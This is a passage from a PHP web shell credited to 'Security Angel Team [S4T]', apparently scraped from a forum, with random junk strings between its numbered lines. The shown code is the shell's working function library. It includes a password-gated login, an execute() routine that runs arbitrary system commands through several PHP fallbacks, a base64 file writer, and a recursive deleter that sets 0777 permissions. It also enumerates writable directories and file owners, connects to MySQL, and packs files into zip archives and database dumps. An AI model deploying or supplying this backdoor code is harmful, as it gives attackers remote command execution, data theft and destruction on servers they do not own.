1290.         makehide('action','phpenv');
      5 h- F* }: J& u/ L9 B3 K, v
1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
      
1292.         formfooter();
      # E9 O7 }; W8 N9 @: ?4 q1 h7 w
1293. 
      
1294.         $hp = array(0=> 'Server', 1=> 'PHP');
      % K! i  v8 q; B
1295.         for($a=0;$a<2;$a++) {
      
1296.                 p('<h2>'.$hp[$a].' »</h2>');
      
1297.                 p('<ul class="info">');
      
1298.                 if ($a==0) {
      & k+ Z8 J0 a. f! w5 A0 r
1299.                         for($i=1;$i<=9;$i++) {
      
1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1301.                         }
      , ~6 e9 @# V1 N' S1 O2 P
1302.                 } elseif ($a == 1) {
      5 }- e- e' [# a, \8 c
1303.                         for($i=10;$i<=23;$i++) {
      
1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1305.                         }
      
1306.                 }
      
1307.                 p('</ul>');
      % y$ I/ u  U5 {! _. k( R* B
1308.         }
      
1309. }//end phpenv
      
1310. 
      ' k! ~& t# `% Q
1311. else {
      
1312.         m('Undefined Action');
      9 {8 @: |3 G) D6 w
1313. }
      
1314. 
      
1315. ?>
      
1316. </td></tr></table>
      ) G. ]0 K* L( y, i3 Z5 i1 J: E
1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
      $ J& X9 f, U7 ?, x
1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      1 `8 Z, x- Z3 G( ^& u
1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
      
1320. </div>
      
1321. </body>
      
1322. </html>
      : _8 _) q7 i9 G% @5 [4 u9 B
1323. 
      7 d3 [: H: ^: h0 u/ Q
1324. <?php
      ' q! g/ ^: h! A7 P
1325. 
      
1326. /*======================================================
      
1327. 函数库
      
1328. ======================================================*/
      8 C; l" G( H3 C) c5 D# ~7 L5 ?2 Q
1329. 
      ! n; D2 V# `9 Z3 }
1330. function m($msg) {
      
1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
      
1332.         echo $msg;
      6 s" s- c# q3 `7 b, n0 `7 p$ q
1333.         echo '</div>';
      
1334. }
      " w6 N1 p* `$ n8 b" n
1335. function scookie($key, $value, $life = 0, $prefix = 1) {
      * _, ^1 {# ~1 u9 ]
1336.         global $admin, $timestamp, $_SERVER;
      
1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
      
1338.         $life = $life ? $life : $admin['cookielife'];
      - P5 s7 L% Y, f8 ?! c  X+ S, S( _' b9 m
1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
      " |: D( ]* {% e# o+ V5 J
1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
      
1341. }       
      % P, R" g" S. _9 k
1342. function multi($num, $perpage, $curpage, $tablename) {
      
1343.         $multipage = '';
      
1344.         if($num > $perpage) {
      6 \. ?2 E* w. Y# u0 s$ {# ^
1345.                 $page = 10;
      4 r% x" i. W" u( y& N: _
1346.                 $offset = 5;
      
1347.                 $pages = @ceil($num / $perpage);
      
1348.                 if($page > $pages) {
      $ Q4 M& H6 `) E& W+ y" e+ u  R
1349.                         $from = 1;
      : t8 r5 e/ S' h- g% K8 u' _
1350.                         $to = $pages;
      1 b/ {" g; ]6 @2 O2 _
1351.                 } else {
      
1352.                         $from = $curpage - $offset;
      ) E3 L, Z2 q& u
1353.                         $to = $curpage + $page - $offset - 1;
      0 U: N/ R" i( ?# a5 a
1354.                         if($from < 1) {
      , H8 G8 K1 v" R7 j5 x
1355.                                 $to = $curpage + 1 - $from;
      5 j' T+ @! ?" ?+ K8 f) _& H
1356.                                 $from = 1;
      - ]# Y  v' u, u* d2 u
1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      4 w/ n. T* s5 x9 m, c& Q
1358.                                         $to = $page;
      " M' Q* o; Z5 n) S4 r; a
1359.                                 }
      
1360.                         } elseif($to > $pages) {
      8 w9 M! ^3 f; i
1361.                                 $from = $curpage - $pages + $to;
      
1362.                                 $to = $pages;
      
1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1364.                                         $from = $pages - $page + 1;
      4 r( a, E# g7 |! j# F" X* ?/ f3 L
1365.                                 }
      3 T) ]5 F2 N4 g
1366.                         }
      
1367.                 }
      
1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      . \$ m. _9 P) Y, X, g' `; N/ x
1369.                 for($i = $from; $i <= $to; $i++) {
      9 B! S8 d5 U  J- k3 d5 c
1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
      
1371.                 }
      
1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
      
1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
      
1374.         }
      : V* H! j5 O' p6 Q6 \5 |) `6 C$ d  K
1375.         return $multipage;
      
1376. }
      $ F8 A( F# b+ W! o* |5 [4 I
1377. // 登陆入口
      : ~! F3 M5 w$ c
1378. function loginpage() {
      ! g- {! ]! G8 e1 v6 }& ^1 |
1379. ?>
      
1380.         <style type="text/css">
      . [% C# m* T8 n+ w! K
1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      9 q+ k4 Q- N( r5 T& L# Q* M' w
1382.         </style>
        K8 Q7 J1 ~3 ?5 p: c3 L5 X0 W2 q; ^5 |" A
1383.         <form method="POST" action="">
      
1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
      4 @+ U. u0 A; @- @; G
1385.         <input type="hidden" name="doing" value="login">
      / C2 z% p% x& k
1386.         <input type="submit" value="Login">
      ( Z3 t$ N. N, n5 E) W( J
1387.         </form>
      
1388. <?php
      
1389.         exit;
      1 e/ F3 w1 n( j6 x
1390. }//end loginpage()
      
1391. 
      5 m1 l6 V9 F" N5 l8 z
1392. function execute($cfe) {
        B$ i0 x- H+ Z" [% m
1393.         $res = '';
      
1394.         if ($cfe) {
      
1395.                 if(function_exists('exec')) {
      
1396.                         @exec($cfe,$res);
      / U3 P. {1 z4 d, U. Q
1397.                         $res = join("\n",$res);
      
1398.                 } elseif(function_exists('shell_exec')) {
      $ [# o# P$ k% e+ K: u% S7 \
1399.                         $res = @shell_exec($cfe);
      
1400.                 } elseif(function_exists('system')) {
      , R7 q5 v1 P$ C+ w" R( J& F
1401.                         @ob_start();
      
1402.                         @system($cfe);
      
1403.                         $res = @ob_get_contents();
        Y6 x* }. K0 ?4 \) a  Y+ }
1404.                         @ob_end_clean();
      ! k& D$ x* [8 N, b8 q$ U6 z! x
1405.                 } elseif(function_exists('passthru')) {
      
1406.                         @ob_start();
      8 g: C* _4 Q5 o+ ?8 @
1407.                         @passthru($cfe);
      
1408.                         $res = @ob_get_contents();
      2 E( a2 v! G% K& W1 v8 t& O4 C
1409.                         @ob_end_clean();
      
1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
      
1411.                         $res = '';
      
1412.                         while(!@feof($f)) {
      
1413.                                 $res .= @fread($f,1024);
      
1414.                         }
      
1415.                         @pclose($f);
      ; ^4 |8 R: T4 ]! r5 F8 n' {* e
1416.                 }
      
1417.         }
      
1418.         return $res;
      
1419. }
      
1420. function which($pr) {
      
1421.         $path = execute("which $pr");
      7 P- i% L8 a' E( [) Q
1422.         return ($path ? $path : $pr);
      % t4 ~& E2 a- S- f6 _7 I8 e
1423. }
      $ {( L7 K8 f! E! H9 u$ l
1424. 
      2 G4 D; R* v0 `
1425. function cf($fname,$text){
        P# h  Z9 r/ Q. o! k, T1 W) ]0 W4 r
1426.         if($fp=@fopen($fname,'w')) {
      8 c% Z8 ^( d9 @  B4 Y" z4 m
1427.                 @fputs($fp,@base64_decode($text));
      ) O8 s4 R6 V; }4 i
1428.                 @fclose($fp);
      . ^1 A1 @6 h, D$ }9 P) l
1429.         }
      ; ?: k1 R- R7 f! |) K9 n  a
1430. }
      8 `2 h2 O- M: H) Z# D9 _% t/ I, B
1431. 
      / T& v! M6 S5 n$ B* z4 A9 e
1432. // 页面调试信息
      . X) O) b0 z8 M& R  h
1433. function debuginfo() {
      
1434.         global $starttime;
      
1435.         $mtime = explode(' ', microtime());
      / x0 D5 S6 x( O: h, Z& t3 \+ D
1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      
1437.         echo 'Processed in '.$totaltime.' second(s)';
      
1438. }
      & K( M! m3 c1 ^- u: q
1439. 
      
1440. //连接数据库
      " g' C: x& @8 V! E1 ^  k2 `
1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      & S) i5 w4 U3 _; L9 q) M
1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
      / U2 k/ V  i* ?& |2 ?
1443.                 p('<h2>Can not connect to MySQL server</h2>');
      
1444.                 exit;
      
1445.         }
      
1446.         if($link && $dbname) {
      % |3 n+ N+ c3 P7 S. M% E3 M
1447.                 if (!@mysql_select_db($dbname, $link)) {
      8 \# f* o- a4 y7 |6 M' [
1448.                         p('<h2>Database selected has error</h2>');
      ( z% p; E) M, [& L
1449.                         exit;
      
1450.                 }
      
1451.         }
      
1452.         if($link && mysql_get_server_info() > '4.1') {
      
1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
      
1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
      % f( S0 W. b4 u- ?
1455.                 }
      * @9 G- E% K* P
1456.         }
      
1457.         return $link;
      
1458. }
      7 B' a* N  s. \8 j6 Q
1459. 
      
1460. // 去掉转义字符
      # }! o; X% F6 S/ t4 G$ {+ r) W
1461. function s_array(&$array) {
      
1462.         if (is_array($array)) {
      3 c1 c1 t5 r" I- ?9 N0 c
1463.                 foreach ($array as $k => $v) {
      + b7 q7 A& K, q8 Z" b) |( \+ j
1464.                         $array[$k] = s_array($v);
      
1465.                 }
        q* i" B  m0 A( F8 Y) ]
1466.         } else if (is_string($array)) {
      
1467.                 $array = stripslashes($array);
      4 |' @2 |! Z3 O
1468.         }
      0 ?3 T* U: O+ W$ v, A
1469.         return $array;
      ' {% k, [! X5 n  q- K
1470. }
      
1471. 
      
1472. // 清除HTML代码
      
1473. function html_clean($content) {
      
1474.         $content = htmlspecialchars($content);
      6 V, Y/ \; `1 e! q
1475.         $content = str_replace("\n", "<br />", $content);
      - U+ z7 K' L- s
1476.         $content = str_replace("  ", "  ", $content);
      
1477.         $content = str_replace("\t", "    ", $content);
      
1478.         return $content;
      
1479. }
      
1480. 
      
1481. // 获取权限
      
1482. function getChmod($filepath){
      
1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
      ; |1 j  h7 G0 }* l0 u2 J' a
1484. }
      ! w* m0 Z( k( K6 x# A, m% Q
1485. 
      
1486. function getPerms($filepath) {
      
1487.         $mode = @fileperms($filepath);
      
1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
      
1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
      + p" s7 A7 P5 ^. {& s+ S+ r. D
1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
      / k2 O' D% g8 L2 \- c
1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
      6 e9 `. z: O) M9 ?- |. s( \
1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
      - |. c: z' y  X. L( F, u
1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
      ) O1 X4 M8 z) A- P# j: y
1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
      
1495.         else {$type = '?';}
      
1496. 
      1 u9 Z* B. h  |* f
1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
      
1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      
1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
      
1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
      & I6 t( o) E7 K6 r( ^* Q6 c
1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      . \; M" }" n8 S% c0 y, N5 @
1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
      0 d' ?# z- e. W
1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
      $ |, d! @5 Q) E. l
1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
      8 }+ }* S8 \( y: o' l
1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
      ) @% |9 B  D' _+ V. x0 j
1506. 
      8 ]! F; a6 Y3 g4 f
1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      , n3 ^7 T1 b+ i6 w
1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
      . m0 ~$ Z; f8 d" k( s
1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
      + ?/ b5 g+ ]1 o$ z
1510. 
      
1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
      
1512. }
      
1513. 
      
1514. function getUser($filepath)        {
      
1515.         if (function_exists('posix_getpwuid')) {
      
1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      
1517.                 if ($array && is_array($array)) {
      
1518.                         return ' / <a href="#" title="User: '.$array['name'].'
      
1519. Passwd: '.$array['passwd'].'
      
1520. Uid: '.$array['uid'].'
      : F- C7 I7 h: J6 v, g' {  C1 U
1521. gid: '.$array['gid'].'
      9 J6 ~! f8 t! t, E# ?
1522. Gecos: '.$array['gecos'].'
      
1523. Dir: '.$array['dir'].'
      6 v4 a- y6 |. y2 M# V# e1 [
1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      
1525.                 }
      
1526.         }
      1 \0 H8 }6 x' g& o
1527.         return '';
      9 B5 |* n1 T3 E- G5 u* G4 y
1528. }
      4 y8 y1 H* ?8 M+ H0 F2 z8 |2 W
1529. 
      
1530. // 删除目录
      
1531. function deltree($deldir) {
      
1532.         $mydir=@dir($deldir);       
      
1533.         while($file=$mydir->read())        {                
      - y6 z! E6 w) L; S- c3 x9 b0 j6 p" h
1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
      4 {! t8 n8 A" \* `! W+ N# T, E# i
1535.                         @chmod($deldir.'/'.$file,0777);
      
1536.                         deltree($deldir.'/'.$file);
      
1537.                 }
      
1538.                 if (is_file($deldir.'/'.$file)) {
      
1539.                         @chmod($deldir.'/'.$file,0777);
      . X3 A9 n) }4 ^1 z% w7 n6 y2 \/ X; i
1540.                         @unlink($deldir.'/'.$file);
      : Z5 C, d4 {2 G
1541.                 }
      
1542.         }
      ; S, {2 E2 L( G3 U5 D& t. Y9 Q1 N: P
1543.         $mydir->close();
      
1544.         @chmod($deldir,0777);
      
1545.         return @rmdir($deldir) ? 1 : 0;
      
1546. }
      3 {; Q$ {  U, X1 E" }
1547. 
      7 g% [3 x/ G. |5 N/ ]) x
1548. // 表格行间的背景色替换
      
1549. function bg() {
      
1550.         global $bgc;
      
1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
      0 V0 f; f: Z6 a1 [5 S: E! i
1552. }
      / u2 t  Q2 f  \& X( o
1553. 
      # |& `0 p, i" ?. x) O
1554. // 获取当前的文件系统路径
      
1555. function getPath($scriptpath, $nowpath) {
      " Y" d0 r& z# B1 D- }
1556.         if ($nowpath == '.') {
      
1557.                 $nowpath = $scriptpath;
      
1558.         }
      ! F1 i% q4 E- v! v
1559.         $nowpath = str_replace('\\', '/', $nowpath);
      
1560.         $nowpath = str_replace('//', '/', $nowpath);
      
1561.         if (substr($nowpath, -1) != '/') {
      " Q7 T6 Y; d9 f; n" }6 c5 C4 d
1562.                 $nowpath = $nowpath.'/';
      
1563.         }
      . N" h. E0 B) N1 K7 _# X
1564.         return $nowpath;
      
1565. }
      , a5 h$ Q  o6 @( B
1566. 
      & G" A; o0 c+ r; r
1567. // 获取当前目录的上级目录
      ( W& s8 D% l$ d0 R* _* e2 D
1568. function getUpPath($nowpath) {
      - J1 ]& Y# g6 o8 V
1569.         $pathdb = explode('/', $nowpath);
      
1570.         $num = count($pathdb);
      
1571.         if ($num > 2) {
      ' b% K) O. f) P
1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
      
1573.         }
      7 @* l9 z6 r' E! q0 E2 w( K! Q' W; ~
1574.         $uppath = implode('/', $pathdb).'/';
      " j3 U. Z0 X" J" A
1575.         $uppath = str_replace('//', '/', $uppath);
      
1576.         return $uppath;
      
1577. }
      8 a* c/ N& Z4 G/ T
1578. 
      
1579. // 检查PHP配置参数
      3 U" g5 W* V7 f
1580. function getcfg($varname) {
      
1581.         $result = get_cfg_var($varname);
      . L8 o; C: b2 |1 V5 X' q  V( S
1582.         if ($result == 0) {
      # O8 N( g( h  Z+ g% {1 T/ h8 E
1583.                 return 'No';
      % U6 s1 P6 a  }' t5 P; E
1584.         } elseif ($result == 1) {
      5 t9 h  ]$ ~# G1 L
1585.                 return 'Yes';
      
1586.         } else {
      1 l+ O: {6 ~; P0 \5 ?0 ~- Q. v
1587.                 return $result;
      
1588.         }
      ; H* w6 f6 n3 Y# S
1589. }
      " P; H) g# J7 ?, X! \* V" ?
1590. 
      
1591. // 检查函数情况
      
1592. function getfun($funName) {
      , l& Q. a/ M0 w
1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
      0 i5 P% \, ]4 R* @% ^
1594. }
      $ `* z+ n8 G1 z. A8 M1 G
1595. 
      / B7 @6 e# Z6 k3 ^; [8 Z0 p
1596. function GetList($dir){
      
1597.         global $dirdata,$j,$nowpath;
      
1598.         !$j && $j=1;
      
1599.         if ($dh = opendir($dir)) {
      
1600.                 while ($file = readdir($dh)) {
      
1601.                         $f=str_replace('//','/',$dir.'/'.$file);
      $ G5 w! Q) i& A% [+ `2 Z; Y
1602.                         if($file!='.' && $file!='..' && is_dir($f)){
      
1603.                                 if (is_writable($f)) {
      
1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
      3 v8 r: i. Y( J* ?* U% f
1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
      ) T  m2 `7 c! g( x9 L6 D
1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      " C5 y3 _/ k- [% R, D4 m
1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
      9 ?0 |8 R$ d7 \4 {1 b: j/ c
1608.                                         $dirdata[$j]['dirlink']=ue($dir);
        Z9 `/ q0 ]( @
1609.                                         $dirdata[$j]['server_link']=$f;
      
1610.                                         $dirdata[$j]['client_link']=ue($f);
      6 f0 c; d/ A6 _- o' {
1611.                                         $j++;
      
1612.                                 }
      " h; f8 S5 y# C7 w/ X) O7 M
1613.                                 GetList($f);
      
1614.                         }
      
1615.                 }
      / o" J( T3 p! B9 {4 w1 a! a! X2 i
1616.                 closedir($dh);
      ; o: X. v* r, v0 ]0 L3 o6 b1 S9 g) f
1617.                 clearstatcache();
      8 _: O. q/ e0 w& w
1618.                 return $dirdata;
      
1619.         } else {
      
1620.                 return array();
      " H& }1 N+ \& {# q# G
1621.         }
      ' U/ D8 d$ C9 ?5 Z# P
1622. }
      . t- L1 m6 P" S+ R2 p
1623. 
      $ Y) R& F$ F+ N% }  c2 |. m
1624. function qy($sql) {
      0 Z( ~7 Z- L  Q7 N/ k
1625.         //echo $sql.'<br>';
      ! ~5 `! G! T- {9 }# Y0 s& B
1626.         $res = $error = '';
      : C: r$ I9 Y; P+ l- h
1627.         if(!$res = @mysql_query($sql)) {
      
1628.                 return 0;
      
1629.         } else if(is_resource($res)) {
      
1630.                 return 1;
      
1631.         } else {
      
1632.                 return 2;
      ) g3 d1 C  R# n! d3 L8 g- P
1633.         }       
      
1634.         return 0;
      
1635. }
      
1636. 
      + A- O7 p8 M. f/ M/ z
1637. function q($sql) {
      6 y! _. D6 V2 e1 u
1638.         return @mysql_query($sql);
      
1639. }
      
1640. 
      
1641. function fr($qy){
      
1642.         mysql_free_result($qy);
      
1643. }
      
1644. 
      
1645. function sizecount($size) {
      1 r( ]) t9 e( y+ n" D2 E( T2 x8 Q
1646.         if($size > 1073741824) {
      
1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
      
1648.         } elseif($size > 1048576) {
        t" w' o5 R5 Z; n" E
1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      
1650.         } elseif($size > 1024) {
      
1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
      
1652.         } else {
      $ R6 Y( o* ]! f4 P3 O, i$ U- ^- f
1653.                 $size = $size . ' B';
      
1654.         }
      
1655.         return $size;
      
1656. }
      
1657. 
      
1658. // 压缩打包类
      : D; O4 h( t# Z& d/ p% j2 P' E
1659. class PHPZip{
      
1660.         var $out='';
      
1661.         function PHPZip($dir)        {
      
1662.                 if (@function_exists('gzcompress'))        {
      $ D9 O& A; U- j, }, r6 i
1663.                         $curdir = getcwd();
      
1664.                         if (is_array($dir)) $filelist = $dir;
      $ P& ^0 M3 n6 x4 D: p1 y8 k
1665.                         else{
      
1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
      
1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
      
1668.                         }
      + ^& M2 ^7 F! Q" u' l1 j. J$ G
1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
      
1670.                         else chdir($curdir);
      
1671.                         if (count($filelist)>0){
      + P5 {& d4 _  s# T# _0 n7 _3 a
1672.                                 foreach($filelist as $filename){
      
1673.                                         if (is_file($filename)){
      
1674.                                                 $fd = fopen ($filename, 'r');
      $ a. J* h; r4 h) [9 O6 q
1675.                                                 $content = @fread ($fd, filesize($filename));
      
1676.                                                 fclose ($fd);
      
1677.                                                 if (is_array($dir)) $filename = basename($filename);
      
1678.                                                 $this -> addFile($content, $filename);
      1 T! N8 o0 o7 c) D+ I1 D
1679.                                         }
      
1680.                                 }
      
1681.                                 $this->out = $this -> file();
      
1682.                                 chdir($curdir);
      9 w6 X  _/ e/ B# k: N
1683.                         }
      
1684.                         return 1;
      1 n6 j/ J. z# O) [9 O- q
1685.                 }
      : L+ J9 S" z! w, w) Y# W
1686.                 else return 0;
      
1687.         }
      5 @' {7 P0 n$ B4 R/ e
1688. 
      
1689.         // 获得指定目录文件列表
      $ p$ z8 S, p+ c. v/ X( o5 Z$ G
1690.         function GetFileList($dir){
      
1691.                 static $a;
      8 G4 n, G. Z) }- @0 }# L
1692.                 if (is_dir($dir)) {
      
1693.                         if ($dh = opendir($dir)) {
        l$ \4 Z+ x0 F' l: F: }4 _5 y5 G
1694.                                 while ($file = readdir($dh)) {
      
1695.                                         if($file!='.' && $file!='..'){
      ' b+ t6 |  e; I- N0 r9 q
1696.                                                 $f=$dir .'/'. $file;
      
1697.                                                 if(is_dir($f)) $this->GetFileList($f);
      8 g( o3 I0 v9 G4 M& Y/ f
1698.                                                 $a[]=$f;
      
1699.                                         }
      
1700.                                 }
      
1701.                                 closedir($dh);
      0 j5 C$ Q- }1 b0 m; I9 b
1702.                         }
      
1703.                 }
      " D- S; V: q# `# l8 ^
1704.                 return $a;
      3 d* W$ ]: n$ R- A2 z
1705.         }
      8 e$ m0 l1 f' Q
1706. 
      
1707.         var $datasec      = array();
      0 N8 d) ?5 \4 l
1708.         var $ctrl_dir     = array();
      ! s0 c1 M- h: w, \; _0 R7 X$ n
1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      % Y0 D' p* U# h: m0 G/ t* ^: _
1710.         var $old_offset   = 0;
      9 ?% ^! B% o7 |5 X
1711. 
      
1712.         function unix2DosTime($unixtime = 0) {
      " f" o: n7 \& y. `. W
1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      ' Y! O8 ^2 G. D" k4 d7 G: P
1714.                 if ($timearray['year'] < 1980) {
      
1715.                         $timearray['year']    = 1980;
      1 z' x3 z- p) Q' t) [4 z
1716.                         $timearray['mon']     = 1;
      : w" z% K( }8 {! J( E8 |
1717.                         $timearray['mday']    = 1;
      7 t2 n" z6 X: s8 y  O* d* n2 ]
1718.                         $timearray['hours']   = 0;
      
1719.                         $timearray['minutes'] = 0;
      6 Q0 F8 h' O7 @7 Z5 c
1720.                         $timearray['seconds'] = 0;
      * k6 V- F" `- e6 ]3 ~  i$ c
1721.                 } // end if
      6 u- W, m% K8 M
1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      
1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      ) {# w7 }) w+ a; a+ B5 q/ D
1724.         }
      6 X4 s" ^0 A' C  W; M
1725.         function addFile($data, $name, $time = 0) {
      
1726.                 $name = str_replace('\\', '/', $name);
      1 q+ T, a0 F2 Z3 c
1727.                 $dtime = dechex($this->unix2DosTime($time));
      ( _$ B0 M+ p9 O8 E
1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
      
1729.                                         . '\x' . $dtime[4] . $dtime[5]
      
1730.                                         . '\x' . $dtime[2] . $dtime[3]
      
1731.                                         . '\x' . $dtime[0] . $dtime[1];
        s  y/ R6 U# `* `3 a
1732.                 eval('$hexdtime = "' . $hexdtime . '";');
      ; e: |' N5 i) N4 g0 d
1733.                 $fr        = "\x50\x4b\x03\x04";
      
1734.                 $fr        .= "\x14\x00";
      
1735.                 $fr        .= "\x00\x00";
      
1736.                 $fr        .= "\x08\x00";
      / Q6 [: A! X  D- l  Y1 k+ I4 k
1737.                 $fr        .= $hexdtime;
      % A4 e# v& l: R% ]5 s) |% ]
1738.                 $unc_len = strlen($data);
      # }! ^* K. J; W9 N" i# ^; r: t+ a
1739.                 $crc = crc32($data);
      
1740.                 $zdata = gzcompress($data);
      
1741.                 $c_len = strlen($zdata);
      
1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      
1743.                 $fr .= pack('V', $crc);
      + o' u& P4 _4 D% v
1744.                 $fr .= pack('V', $c_len);
      
1745.                 $fr .= pack('V', $unc_len);
      
1746.                 $fr .= pack('v', strlen($name));
      
1747.                 $fr .= pack('v', 0);
      - r, a0 k  a" ~0 D& \
1748.                 $fr .= $name;
      0 F" W+ _6 W$ l" P' p1 U, z& v
1749.                 $fr .= $zdata;
      
1750.                 $fr .= pack('V', $crc);
      
1751.                 $fr .= pack('V', $c_len);
      
1752.                 $fr .= pack('V', $unc_len);
      2 R5 I4 o5 M! x8 |; a
1753.                 $this -> datasec[] = $fr;
      
1754.                 $new_offset = strlen(implode('', $this->datasec));
      5 I0 ]* }3 c9 h. Q
1755.                 $cdrec = "\x50\x4b\x01\x02";
      
1756.                 $cdrec .= "\x00\x00";
      
1757.                 $cdrec .= "\x14\x00";
      
1758.                 $cdrec .= "\x00\x00";
      ; {& }! m+ C8 w
1759.                 $cdrec .= "\x08\x00";
      
1760.                 $cdrec .= $hexdtime;
      
1761.                 $cdrec .= pack('V', $crc);
      
1762.                 $cdrec .= pack('V', $c_len);
      4 H- M/ q  c3 M; u
1763.                 $cdrec .= pack('V', $unc_len);
      1 Q+ @0 p" p* Q* w! x
1764.                 $cdrec .= pack('v', strlen($name) );
      ( j* o/ h# T% y: `! ]$ z. x
1765.                 $cdrec .= pack('v', 0 );
      
1766.                 $cdrec .= pack('v', 0 );
      . ]3 X$ s  l2 S# M
1767.                 $cdrec .= pack('v', 0 );
      0 i5 s1 e% S$ b( T
1768.                 $cdrec .= pack('v', 0 );
      
1769.                 $cdrec .= pack('V', 32 );
      
1770.                 $cdrec .= pack('V', $this -> old_offset );
      3 t% s5 P$ d/ n% w1 ?- y4 x- m
1771.                 $this -> old_offset = $new_offset;
      : F; V1 ^4 V) G: _$ ?: _' ?3 o. _
1772.                 $cdrec .= $name;
      / E! a' c4 u; K+ ~+ V: J& U
1773.                 $this -> ctrl_dir[] = $cdrec;
      , Q. e9 P# e! q) y. l
1774.         }
      8 U0 t$ A. {+ d+ |0 C' k! y3 O) Z
1775.         function file() {
      
1776.                 $data    = implode('', $this -> datasec);
      / y- t  k8 C. _; ]: J/ B" N4 i
1777.                 $ctrldir = implode('', $this -> ctrl_dir);
      , d8 H# [, F" \
1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
      
1779.         }
        m3 @6 b1 e$ D! J) K! W) Q% k; z) o1 Z
1780. }
      # ?- o6 l3 I1 M7 @* S
1781. // 备份数据库
      & c) T% p/ W  G7 S" d
1782. function sqldumptable($table, $fp=0) {
      
1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
      
1784.         $tabledump .= "CREATE TABLE $table (\n";
      
1785.         $firstfield=1;
      
